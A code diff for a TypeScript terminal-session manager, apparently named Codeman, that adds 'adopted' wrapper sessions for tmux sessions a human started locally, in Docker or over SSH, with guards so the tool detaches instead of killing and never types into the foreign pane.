* it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
|
||||
* process tree one level shorter.
|
||||
*/
|
||||
export function foreignRemoteShellCommand(script: string): string {
|
||||
return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
|
||||
}
|
||||
|
||||
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
|
||||
/** `buildSshConnectionArgs(host)` — `['ssh', '-o BatchMode=yes', ...]`. */
|
||||
sshArgs: string[];
|
||||
/** `remoteSshTarget(host)` — `user@host`. */
|
||||
sshTarget: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remote adoption: ssh in and attach there.
|
||||
*
|
||||
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
|
||||
* `buildRemoteAttachCommand` puts it — interactive tmux needs a PTY. Connection
|
||||
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
|
||||
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
|
||||
*/
|
||||
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
|
||||
const [ssh, batchMode, ...rest] = opts.sshArgs;
|
||||
return [
|
||||
ssh,
|
||||
batchMode,
|
||||
'-t',
|
||||
...rest,
|
||||
opts.sshTarget,
|
||||
fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' ');
|
||||
}
|
||||
@@ -79,6 +79,8 @@ export interface GitFetchSessionView {
|
||||
/** `unknown`, not `boolean`: a session's remote/Docker markers are objects, and the only question here is whether either is set at all. */
|
||||
remote?: unknown;
|
||||
docker?: unknown;
|
||||
/** Set on a wrapper around a foreign tmux session: its `workingDir` is a neutral folder, never a repository. */
|
||||
adopt?: unknown;
|
||||
gitFetchEnabled?: boolean;
|
||||
gitFetchIntervalSeconds?: number;
|
||||
}
|
||||
@@ -176,7 +178,7 @@ export class GitFetchScheduler {
|
||||
const groups = new Map<string, GroupMember[]>();
|
||||
for (const id of this.ports.sessionIds()) {
|
||||
const view = this.ports.getSession(id);
|
||||
if (!view || view.remote || view.docker) continue;
|
||||
if (!view || view.remote || view.docker || view.adopt) continue;
|
||||
const effective = effectiveGitFetch(view, settings);
|
||||
if (!effective.enabled) continue;
|
||||
const folder = resolve(view.workingDir);
|
||||
|
||||
+1
-1
@@ -346,7 +346,7 @@ export interface GitFetchEntry {
|
||||
export interface GitFetchReport {
|
||||
/** `ok` when at least one repository was fetched (or attempted); the other states are as in the overview. */
|
||||
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
|
||||
reason?: 'remote' | 'docker';
|
||||
reason?: 'remote' | 'docker' | 'adopted';
|
||||
error?: string;
|
||||
/** One entry per repository fetched, in the same order the panel lists them. */
|
||||
repos: GitFetchEntry[];
|
||||
|
||||
@@ -95,7 +95,7 @@ export interface GitWorkspaceStatus {
|
||||
* `unsupported`: a remote or Docker session (never inspected). `error`: git failed; see `error`.
|
||||
*/
|
||||
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
|
||||
reason?: 'remote' | 'docker';
|
||||
reason?: 'remote' | 'docker' | 'adopted';
|
||||
error?: string;
|
||||
repoRoot?: string;
|
||||
/** Null when HEAD is detached. */
|
||||
@@ -482,7 +482,7 @@ export interface GitRepoEntry {
|
||||
export interface GitWorkspaceOverview {
|
||||
/** `ok` when at least one repository was found; the other states are as in `GitWorkspaceStatus`. */
|
||||
state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
|
||||
reason?: 'remote' | 'docker';
|
||||
reason?: 'remote' | 'docker' | 'adopted';
|
||||
error?: string;
|
||||
repos: GitRepoEntry[];
|
||||
/** More than `repoLimit` repositories were found; only the first are reported. */
|
||||
|
||||
@@ -26,6 +26,7 @@ import type {
|
||||
SessionRemote,
|
||||
SessionDocker,
|
||||
PaneExit,
|
||||
SessionAdopt,
|
||||
StatusLineExporter,
|
||||
} from './types.js';
|
||||
|
||||
@@ -47,6 +48,13 @@ export interface MuxSession {
|
||||
remote?: SessionRemote;
|
||||
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
|
||||
docker?: SessionDocker;
|
||||
/**
|
||||
* Adoption metadata for a wrapper session around a human-started tmux session.
|
||||
* Round-trips through `mux-sessions.json` like remote/docker: without it a
|
||||
* restored wrapper would not know what to re-attach to, and `killSession`
|
||||
* would lose the detach-not-kill guard.
|
||||
*/
|
||||
adopt?: SessionAdopt;
|
||||
/** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
|
||||
owner?: string;
|
||||
/** Session mode */
|
||||
@@ -139,6 +147,8 @@ export interface CreateSessionOptions {
|
||||
remote?: SessionRemote;
|
||||
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
|
||||
docker?: SessionDocker;
|
||||
/** Adoption metadata; its presence selects the foreign-attach launch command. */
|
||||
adopt?: SessionAdopt;
|
||||
/** Owning username in multi-user mode; persisted for recovery. */
|
||||
owner?: string;
|
||||
}
|
||||
@@ -196,6 +206,8 @@ export interface RespawnPaneOptions {
|
||||
remote?: SessionRemote;
|
||||
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
|
||||
docker?: SessionDocker;
|
||||
/** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
|
||||
adopt?: SessionAdopt;
|
||||
/** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
|
||||
owner?: string;
|
||||
}
|
||||
|
||||
@@ -127,6 +127,7 @@ export interface RebootRestoreRejection {
|
||||
| 'agent-exited'
|
||||
| 'respawn-blocked'
|
||||
| 'remote-or-docker'
|
||||
| 'adopted'
|
||||
| 'unsupported-mode'
|
||||
| 'no-working-dir'
|
||||
| 'workspace-missing'
|
||||
@@ -224,6 +225,15 @@ export function planRebootRestore(
|
||||
skipped.push({ sessionId, reason: 'remote-or-docker' });
|
||||
continue;
|
||||
}
|
||||
if (state.adopt) {
|
||||
// ⚠️ Same family as the rule above, different reason. Codeman never started the
|
||||
// process this session wrapped: all it ever had was an attach command. Replaying
|
||||
// that builds a connection to a foreign session that a reboot has almost certainly
|
||||
// taken with it, and — worse — the rebuilt tab would present whatever the attach
|
||||
// lands on as a session we restored, passing someone else's work off as ours.
|
||||
skipped.push({ sessionId, reason: 'adopted' });
|
||||
continue;
|
||||
}
|
||||
// Capability, not a CLI id: this pass resumes by handing the CLI a conversation
|
||||
// id through the top-level `resumeSessionId`, which only a CLI whose history the
|
||||
// claude-jsonl reader understands can consume that way. Others carry their thread
|
||||
|
||||
+78
-9
@@ -65,6 +65,7 @@ import {
|
||||
type SessionNameSource,
|
||||
type SessionWriteOptions,
|
||||
type PaneExit,
|
||||
type SessionAdopt,
|
||||
type PromptCacheStatus,
|
||||
type StatusLineExporter,
|
||||
type KeepWarmStatus,
|
||||
@@ -448,10 +449,25 @@ export function queryTmuxWindowSize(muxName: string, socket: string): { cols: nu
|
||||
return { cols: DEFAULT_PTY_COLS, rows: DEFAULT_PTY_ROWS };
|
||||
}
|
||||
|
||||
export function resolveMuxAttachCwd(workingDir: string, remote?: SessionRemote, docker?: SessionDocker): string {
|
||||
export function resolveMuxAttachCwd(
|
||||
workingDir: string,
|
||||
remote?: SessionRemote,
|
||||
docker?: SessionDocker,
|
||||
adopt?: SessionAdopt
|
||||
): string {
|
||||
// Remote and docker sessions run the CLI elsewhere (ssh / docker exec); the LOCAL
|
||||
// wrapper pane never needs the workspace as its cwd, so launch it in /tmp.
|
||||
return remote || docker ? '/tmp' : workingDir;
|
||||
//
|
||||
// ⚠️ An ADOPTED session needs the same treatment and does NOT get it from the
|
||||
// two checks above: its connection facts live on `adopt.docker`/`adopt.remote`,
|
||||
// so `session.docker` is undefined even for an in-container adoption. Its pane
|
||||
// only attaches, so no folder on this host means anything to it. Measured against
|
||||
// a real container, when `workingDir` still held the foreign pane's cwd: the local
|
||||
// PTY spawn inherited `/workspace/pythonserver`, and the session came up with
|
||||
// `pid: null` and a blank terminal while the wrapper tmux session and the
|
||||
// in-container grouped view had both been created successfully, so it looked
|
||||
// half-alive rather than failed.
|
||||
return remote || docker || adopt ? '/tmp' : workingDir;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -881,6 +897,11 @@ export class Session extends EventEmitter {
|
||||
// local tmux + `docker exec`. The container is per-CASE (shared by sibling sessions).
|
||||
private readonly _docker?: SessionDocker;
|
||||
|
||||
// Adoption metadata, present when this session is a WRAPPER around a tmux
|
||||
// session a human started outside Codeman. Its presence is the single switch
|
||||
// that disables everything Codeman can only do to a process it launched.
|
||||
private readonly _adopt?: SessionAdopt;
|
||||
|
||||
// Owning username in multi-user mode (undefined in single-user). Stamped at create
|
||||
// from req.authUser and round-tripped through recovery like _remote/_docker.
|
||||
private _owner?: string;
|
||||
@@ -1006,6 +1027,8 @@ export class Session extends EventEmitter {
|
||||
remote?: SessionRemote;
|
||||
/** Docker execution metadata for sessions launched inside a container via local tmux. */
|
||||
docker?: SessionDocker;
|
||||
/** Adoption metadata for a wrapper around a human-started tmux session. */
|
||||
adopt?: SessionAdopt;
|
||||
/** Owning username (multi-user mode); undefined in single-user. */
|
||||
owner?: string;
|
||||
/** Session that spawned this one — tab lineage decoration, resolved by the caller. */
|
||||
@@ -1176,6 +1199,7 @@ export class Session extends EventEmitter {
|
||||
this._tmuxHistoryLimit = config.tmuxHistoryLimit ?? DEFAULT_TMUX_HISTORY_LIMIT;
|
||||
this._remote = config.remote;
|
||||
this._docker = config.docker;
|
||||
this._adopt = config.adopt;
|
||||
this._owner = config.owner;
|
||||
this._discoveredMuxSession = config.discoveredMuxSession === true;
|
||||
// Restored so a record that says the agent exited survives a server restart
|
||||
@@ -1336,6 +1360,25 @@ export class Session extends EventEmitter {
|
||||
return this._remote;
|
||||
}
|
||||
|
||||
/** Adoption metadata when this session wraps a human-started tmux session. */
|
||||
get adopt(): SessionAdopt | undefined {
|
||||
return this._adopt;
|
||||
}
|
||||
|
||||
/**
|
||||
* Is this a wrapper around a tmux session Codeman did not start?
|
||||
*
|
||||
* ⚠️ Deliberately NOT folded into `isExternalCliMode()`. That predicate answers
|
||||
* "does this CLI render its own TUI", which is about the PROTOCOL. This one
|
||||
* answers "did we launch the process", which is about AUTHORITY — an adopted
|
||||
* session can be `mode: 'claude'` and still have no hooks installed, no
|
||||
* `envOverrides`, no effort and no `--session-id` we chose. Conflating the two
|
||||
* would silently grant claude-shaped automation over a process we do not own.
|
||||
*/
|
||||
get isAdopted(): boolean {
|
||||
return this._adopt !== undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* `deepSeekConfig.statusReporting` verbatim: `undefined` when the caller sent
|
||||
* none (i.e. ON), `false` when the user disarmed the status bridge for this
|
||||
@@ -1451,13 +1494,20 @@ export class Session extends EventEmitter {
|
||||
/**
|
||||
* True when a tmux pane's death would mean THIS session's agent has exited.
|
||||
*
|
||||
* Four shapes fail the test, and each would otherwise publish a death that is
|
||||
* Five shapes fail the test, and each would otherwise publish a death that is
|
||||
* not the agent's. A direct-PTY session owns no pane at all. A remote SSH
|
||||
* session's local pane holds the ssh client, whose death means a transport
|
||||
* drop OR an exit, which is the ambiguity PR #355 was about. A docker case's
|
||||
* local pane holds a `docker exec` into the container's own tmux.
|
||||
*
|
||||
* The fourth is a session rebuilt from the socket. Absent `remote`/`docker`
|
||||
* ⚠️ An ADOPTED session is the same shape for a different reason: its pane runs
|
||||
* `tmux attach` to a session a human started, never the agent. That attach exiting
|
||||
* with 0 says the connection ended or its owner closed the foreign session — neither
|
||||
* means this session finished, and neither is Codeman's to clear the tab for. Without
|
||||
* this, the clean-exit sweep (`pane-exit-sweep.ts`) would close someone else's live
|
||||
* session's tab the moment they detached from it themselves.
|
||||
*
|
||||
* The fifth is a session rebuilt from the socket. Absent `remote`/`docker`/`adopt`
|
||||
* normally means "this is local", but on a discovered record it only means
|
||||
* "Codeman never found the metadata": the synthetic `restored-<fragment>` id
|
||||
* matches no `state.json` entry, so a remote session rediscovered after
|
||||
@@ -1466,7 +1516,7 @@ export class Session extends EventEmitter {
|
||||
*/
|
||||
private get paneExitApplies(): boolean {
|
||||
if (this._discoveredMuxSession) return false;
|
||||
return this._useMux && this._muxSession !== null && !this._remote && !this._docker;
|
||||
return this._useMux && this._muxSession !== null && !this._remote && !this._docker && !this._adopt;
|
||||
}
|
||||
|
||||
/** What Codeman last observed of this pane's agent, or undefined for UNKNOWN. */
|
||||
@@ -2371,6 +2421,7 @@ export class Session extends EventEmitter {
|
||||
liveWorktree: this._liveWorktree,
|
||||
remote: this._remote,
|
||||
docker: this._docker,
|
||||
adopt: this._adopt,
|
||||
owner: this._owner,
|
||||
parentSessionId: this._parentSessionId,
|
||||
currentTaskId: this._currentTaskId,
|
||||
@@ -2664,7 +2715,7 @@ export class Session extends EventEmitter {
|
||||
name: 'xterm-256color',
|
||||
cols: ptyCols,
|
||||
rows: ptyRows,
|
||||
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker),
|
||||
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker, this._adopt),
|
||||
// COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH
|
||||
// client too. Both sides read the same registry entry, which is what stops the
|
||||
// attach client and the tmux session from disagreeing — they used to be two
|
||||
@@ -2817,6 +2868,7 @@ export class Session extends EventEmitter {
|
||||
historyLimit: this._tmuxHistoryLimit,
|
||||
remote: this._remote,
|
||||
docker: this._docker,
|
||||
adopt: this._adopt,
|
||||
owner: this._owner,
|
||||
};
|
||||
return this._withCustomModelLaunchModel(options);
|
||||
@@ -3198,8 +3250,10 @@ export class Session extends EventEmitter {
|
||||
// wheel-forwarding to Claude's own transcript (the only route to history in
|
||||
// repaint/alt-screen mode; issue #154). Remote sessions run claude on
|
||||
// another host, so a local probe wouldn't reflect their version; they get
|
||||
// their own over-ssh probe below. Cached process-wide, best-effort.
|
||||
if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._cliVersion) {
|
||||
// their own over-ssh probe below. Cached process-wide, best-effort. An adopted
|
||||
// session's agent is a process someone else started, possibly elsewhere, so
|
||||
// the local binary says nothing about it either.
|
||||
if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._adopt && !this._cliVersion) {
|
||||
const probedVersion = resolveSessionCliVersion(this.mode);
|
||||
if (probedVersion) {
|
||||
this._cliVersion = probedVersion;
|
||||
@@ -3302,6 +3356,7 @@ export class Session extends EventEmitter {
|
||||
historyLimit: this._tmuxHistoryLimit,
|
||||
remote: this._remote,
|
||||
docker: this._docker,
|
||||
adopt: this._adopt,
|
||||
owner: this._owner,
|
||||
},
|
||||
spawnErrLabel: 'mux attachment',
|
||||
@@ -3611,6 +3666,14 @@ export class Session extends EventEmitter {
|
||||
// Stopped: the kill itself produces PTY output, and the buffer tail still holds the
|
||||
// dialog, so without this a deleted session kept "answering" it for several seconds.
|
||||
if (this._trustDialogAccepted || this._isStopped) return;
|
||||
// ⚠️ Never answer a dialog in someone else's pane. An adopted session wraps a
|
||||
// claude the human started, and this scan reads the pane and SENDS KEYS for 90
|
||||
// seconds after `startInteractive()`, which boot recovery re-runs for every
|
||||
// wrapper, so it is not a one-time window at adoption.
|
||||
if (this._adopt) {
|
||||
this._trustDialogAccepted = true;
|
||||
return;
|
||||
}
|
||||
const now = Date.now();
|
||||
if (now - this._interactiveStartedAt > TRUST_DIALOG_WINDOW_MS) {
|
||||
this._trustDialogAccepted = true; // window closed; anything matching now is not the dialog
|
||||
@@ -4367,6 +4430,7 @@ export class Session extends EventEmitter {
|
||||
historyLimit: this._tmuxHistoryLimit,
|
||||
remote: this._remote,
|
||||
docker: this._docker,
|
||||
adopt: this._adopt,
|
||||
owner: this._owner,
|
||||
},
|
||||
createSessionOptions: {
|
||||
@@ -4379,6 +4443,7 @@ export class Session extends EventEmitter {
|
||||
historyLimit: this._tmuxHistoryLimit,
|
||||
remote: this._remote,
|
||||
docker: this._docker,
|
||||
adopt: this._adopt,
|
||||
owner: this._owner,
|
||||
},
|
||||
spawnErrLabel: 'shell mux attachment',
|
||||
@@ -4386,7 +4451,10 @@ export class Session extends EventEmitter {
|
||||
|
||||
// For NEW sessions: clear by sending 'clear' command to the shell
|
||||
// For RESTORED sessions: don't clear - we want to see the existing output
|
||||
if (!isRestored) {
|
||||
// ⚠️ Never for an ADOPTED one: this pane is someone else's, so the write would land
|
||||
// on their half-typed command and submit it (measured), or in whatever is reading
|
||||
// stdin. `shell` is also the mode of anything the classifier cannot name.
|
||||
if (!isRestored && !this._adopt) {
|
||||
setTimeout(() => {
|
||||
if (this.ptyProcess) {
|
||||
this._terminalBuffer.clear();
|
||||
@@ -5139,6 +5207,7 @@ export class Session extends EventEmitter {
|
||||
(!allowLease && this.guardedInputHeld) ||
|
||||
this.remote ||
|
||||
this.docker ||
|
||||
this._adopt ||
|
||||
this.paneExit ||
|
||||
!this._muxSession
|
||||
)
|
||||
|
||||
+167
-28
@@ -23,6 +23,13 @@
|
||||
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { collectDescendants } from './proc-tree.js';
|
||||
import {
|
||||
foreignViewSessionName,
|
||||
buildForeignDockerViewKillCommand,
|
||||
buildForeignAttachCommand,
|
||||
buildForeignDockerAttachCommand,
|
||||
buildForeignRemoteAttachCommand,
|
||||
} from './foreign-tmux.js';
|
||||
import { execSync, exec, execFile } from 'node:child_process';
|
||||
import { promisify } from 'node:util';
|
||||
|
||||
@@ -58,6 +65,7 @@ import {
|
||||
type OmpConfig,
|
||||
type SessionRemote,
|
||||
type SessionDocker,
|
||||
type SessionAdopt,
|
||||
type DockerCommandMode,
|
||||
type PaneExit,
|
||||
type StatusLineExporter,
|
||||
@@ -468,9 +476,10 @@ export function derivePaneCurrentPaths(
|
||||
*
|
||||
* Mirrors `Session.paneExitApplies`, which is where the rule is enforced. A
|
||||
* remote session's local pane holds the ssh client, a docker case's holds a
|
||||
* `docker exec` into the container's own tmux, and a record rebuilt from the
|
||||
* socket carries no provenance at all, so the session end forces all three to
|
||||
* UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
|
||||
* `docker exec` into the container's own tmux, an ADOPTED session's holds a
|
||||
* `tmux attach` to a session a human started rather than the agent itself, and
|
||||
* a record rebuilt from the socket carries no provenance at all, so the session
|
||||
* end forces all four to UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
|
||||
* learn, and `refreshPaneExits()` skips its tmux read rather than paying for
|
||||
* the answer.
|
||||
*
|
||||
@@ -483,6 +492,7 @@ export function hasObservablePaneSession(sessions: Iterable<MuxSession>): boolea
|
||||
for (const session of sessions) {
|
||||
if (session.remote) continue;
|
||||
if (session.docker) continue;
|
||||
if (session.adopt) continue;
|
||||
if (session.discovered === true) continue;
|
||||
return true;
|
||||
}
|
||||
@@ -1907,6 +1917,45 @@ function buildRemoteSessionCommand(options: {
|
||||
return buildRemoteLaunchCommand(options);
|
||||
}
|
||||
|
||||
/**
|
||||
* ADOPTION — the pane command for a wrapper session around a tmux session a
|
||||
* human started. Sibling of `buildRemoteSessionCommand` and
|
||||
* `buildDockerLaunchCommand`, and the same shape of decision: the wrapper is an
|
||||
* ordinary `codeman-<8hex>` session on OUR socket, and only what runs INSIDE its
|
||||
* pane differs per location.
|
||||
*
|
||||
* That indirection is what makes adoption safe by construction rather than by
|
||||
* discipline: `killSession` only ever kills the wrapper on our own socket, so
|
||||
* there is no shape of caller bug that reaches the foreign server with a
|
||||
* `kill-session`. It is the same reasoning that keeps a non-owned REMOTE session
|
||||
* safe (see the detach-not-kill early return in `killSession`).
|
||||
*/
|
||||
export function buildAdoptSessionCommand(adopt: SessionAdopt, sessionId: string): string {
|
||||
const target = {
|
||||
socketPath: adopt.socketPath,
|
||||
targetSession: adopt.targetSession,
|
||||
// Derived rather than required: the view name is a function of the Codeman
|
||||
// session id, so a record that predates it (or one whose creator filled it in
|
||||
// after construction) still produces the right name instead of an empty `-s`.
|
||||
viewSession: adopt.viewSession || foreignViewSessionName(sessionId),
|
||||
};
|
||||
if (adopt.location === 'docker' && adopt.docker) {
|
||||
return buildForeignDockerAttachCommand({
|
||||
...target,
|
||||
dockerBase: buildDockerBaseArgs(adopt.docker).join(' '),
|
||||
containerName: adopt.docker.containerName,
|
||||
});
|
||||
}
|
||||
if (adopt.location === 'remote' && adopt.remote) {
|
||||
return buildForeignRemoteAttachCommand({
|
||||
...target,
|
||||
sshArgs: buildSshConnectionArgs(adopt.remote),
|
||||
sshTarget: remoteSshTarget(adopt.remote),
|
||||
});
|
||||
}
|
||||
return buildForeignAttachCommand(target);
|
||||
}
|
||||
|
||||
/**
|
||||
* Push one environment variable into a tmux session with `setenv`.
|
||||
*
|
||||
@@ -2512,6 +2561,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
historyLimit = DEFAULT_TMUX_HISTORY_LIMIT,
|
||||
remote,
|
||||
docker,
|
||||
adopt,
|
||||
owner,
|
||||
} = options;
|
||||
const muxName = `codeman-${sessionId.slice(0, 8)}`;
|
||||
@@ -2533,6 +2583,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
workingDir,
|
||||
remote,
|
||||
docker,
|
||||
adopt,
|
||||
owner,
|
||||
mode,
|
||||
attached: false,
|
||||
@@ -2559,7 +2610,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
// surfacing as a bare `execvp(3) failed: No such file or directory` with nothing
|
||||
// pointing at the real cause. The container's own CLIs are verified by the adoption
|
||||
// preflight / image gate before launch instead.
|
||||
const cliRunsInContainer = !!docker;
|
||||
//
|
||||
// ⚠️ Skipped for an ADOPTED session for the mirror-image reason: its CLI was started by
|
||||
// a human in a process we did not spawn, and our pane only runs `tmux attach`. Requiring
|
||||
// the binary here would reject adopting a claude that lives in a container or on an ssh
|
||||
// host, and (worse) reject a LOCAL adoption whenever the agent is outside the server
|
||||
// process's PATH, which is the usual systemd/launchd situation.
|
||||
const cliRunsInContainer = !!docker || !!adopt;
|
||||
if (!cliRunsInContainer && !cliDir) {
|
||||
const message = missingCliMessage(mode);
|
||||
if (message) throw new Error(message);
|
||||
@@ -2570,7 +2627,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
|
||||
mode,
|
||||
workingDir,
|
||||
!!(remote || docker)
|
||||
// An adopted wrapper launches no agent, so nothing can carry the exporter.
|
||||
!!(remote || docker || adopt)
|
||||
);
|
||||
const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
|
||||
// The user's own REAL statusLine, if any (walked via Claude Code's own
|
||||
@@ -2607,11 +2665,21 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
try {
|
||||
// Build the full command to run inside tmux
|
||||
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
|
||||
const fullCmd = docker
|
||||
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
|
||||
: remote
|
||||
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
|
||||
: localFullCmd;
|
||||
const fullCmd = adopt
|
||||
? buildAdoptSessionCommand(adopt, sessionId)
|
||||
: docker
|
||||
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
|
||||
: remote
|
||||
? buildRemoteSessionCommand({
|
||||
mode,
|
||||
remote,
|
||||
sessionId,
|
||||
claudeMode,
|
||||
allowedTools,
|
||||
ompConfig,
|
||||
resumeSessionId,
|
||||
})
|
||||
: localFullCmd;
|
||||
|
||||
// Create tmux session in three steps to handle cold-start (no server running)
|
||||
// and avoid the race where the command exits before remain-on-exit is set:
|
||||
@@ -2672,9 +2740,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
|
||||
// Replace the shell with the actual command (no echo in terminal). Keep
|
||||
// pane launch in /tmp, then cd inside bash against the current mount table.
|
||||
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
|
||||
// ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
|
||||
// is the neutral wrapper folder, not where the foreign pane is.
|
||||
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
|
||||
execSync(
|
||||
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker))}`,
|
||||
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
|
||||
{
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
stdio: 'ignore',
|
||||
@@ -2738,6 +2808,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
workingDir,
|
||||
remote,
|
||||
docker,
|
||||
adopt,
|
||||
owner,
|
||||
mode,
|
||||
attached: false,
|
||||
@@ -2862,6 +2933,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
} = options;
|
||||
const session = this.sessions.get(sessionId);
|
||||
if (!session) return null;
|
||||
// Adoption metadata comes from the tracked session, not the caller: a respawn
|
||||
// of an adopted wrapper RE-ATTACHES to the same foreign target. It must never
|
||||
// be able to become "launch a fresh agent here" because a caller forgot to
|
||||
// pass the field through.
|
||||
const adopt = options.adopt ?? session.adopt;
|
||||
const muxName = session.muxName;
|
||||
|
||||
if (!isValidMuxName(muxName) || !isValidPath(workingDir)) return null;
|
||||
@@ -2874,7 +2950,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
|
||||
mode,
|
||||
workingDir,
|
||||
!!(remote || docker)
|
||||
// An adopted wrapper launches no agent, so nothing can carry the exporter.
|
||||
!!(remote || docker || adopt)
|
||||
);
|
||||
const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
|
||||
const userStatusLineCommand = statusLineCommand ? await findEffectiveUserStatusLineCommand(workingDir) : undefined;
|
||||
@@ -2904,11 +2981,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
const config = niceConfig || DEFAULT_NICE_CONFIG;
|
||||
const cmd = wrapWithNice(baseCmd, config);
|
||||
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
|
||||
const fullCmd = docker
|
||||
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
|
||||
: remote
|
||||
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
|
||||
: localFullCmd;
|
||||
const fullCmd = adopt
|
||||
? buildAdoptSessionCommand(adopt, sessionId)
|
||||
: docker
|
||||
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
|
||||
: remote
|
||||
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
|
||||
: localFullCmd;
|
||||
|
||||
try {
|
||||
// Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it.
|
||||
@@ -2925,9 +3004,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
this.applyEnvOverrides(muxName, envOverrides, unsetEnvKeys);
|
||||
|
||||
// -c /tmp + cd bounce — see createSession() for rationale (stale FUSE state).
|
||||
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
|
||||
// ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
|
||||
// is the neutral wrapper folder, not where the foreign pane is.
|
||||
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
|
||||
await execAsync(
|
||||
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker))}`,
|
||||
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
|
||||
{
|
||||
timeout: EXEC_TIMEOUT_MS,
|
||||
}
|
||||
@@ -3133,6 +3214,59 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
|
||||
// for a non-owned session. The only `kill-session` we run is on OUR LOCAL
|
||||
// socket (`this.tmux()` = `tmux -L codeman` on THIS host), which kills the
|
||||
// local pane — it does NOT reach the REMOTE socket.
|
||||
// ADOPTION — DETACH-NOT-KILL, by construction rather than by discipline.
|
||||
//
|
||||
// An adopted session's wrapper is an ordinary session on OUR socket whose
|
||||
// pane runs `tmux attach` (or `docker exec …`/`ssh …` then attach) against a
|
||||
// FOREIGN server. Killing the wrapper kills our attach client, which is a
|
||||
// DETACH on the foreign side; the human's session keeps running, and our
|
||||
// grouped view session self-destroys via `destroy-unattached on`.
|
||||
//
|
||||
// The guard below is a formality more than a fence — `this.tmux()` only ever
|
||||
// addresses our own socket, so no code path here CAN reach the foreign
|
||||
// server. It is written out anyway so the intent survives future edits, the
|
||||
// same way the non-owned-remote early return does.
|
||||
if (session.adopt) {
|
||||
console.log(`[TmuxManager] DETACH (adopted): tearing down wrapper only for ${session.muxName}`);
|
||||
// A `docker exec` survives its client, so the in-container view would stay
|
||||
// attached forever and leak. Best-effort, and it can only reach OUR view.
|
||||
// See buildForeignDockerViewKillCommand for why local/remote need nothing.
|
||||
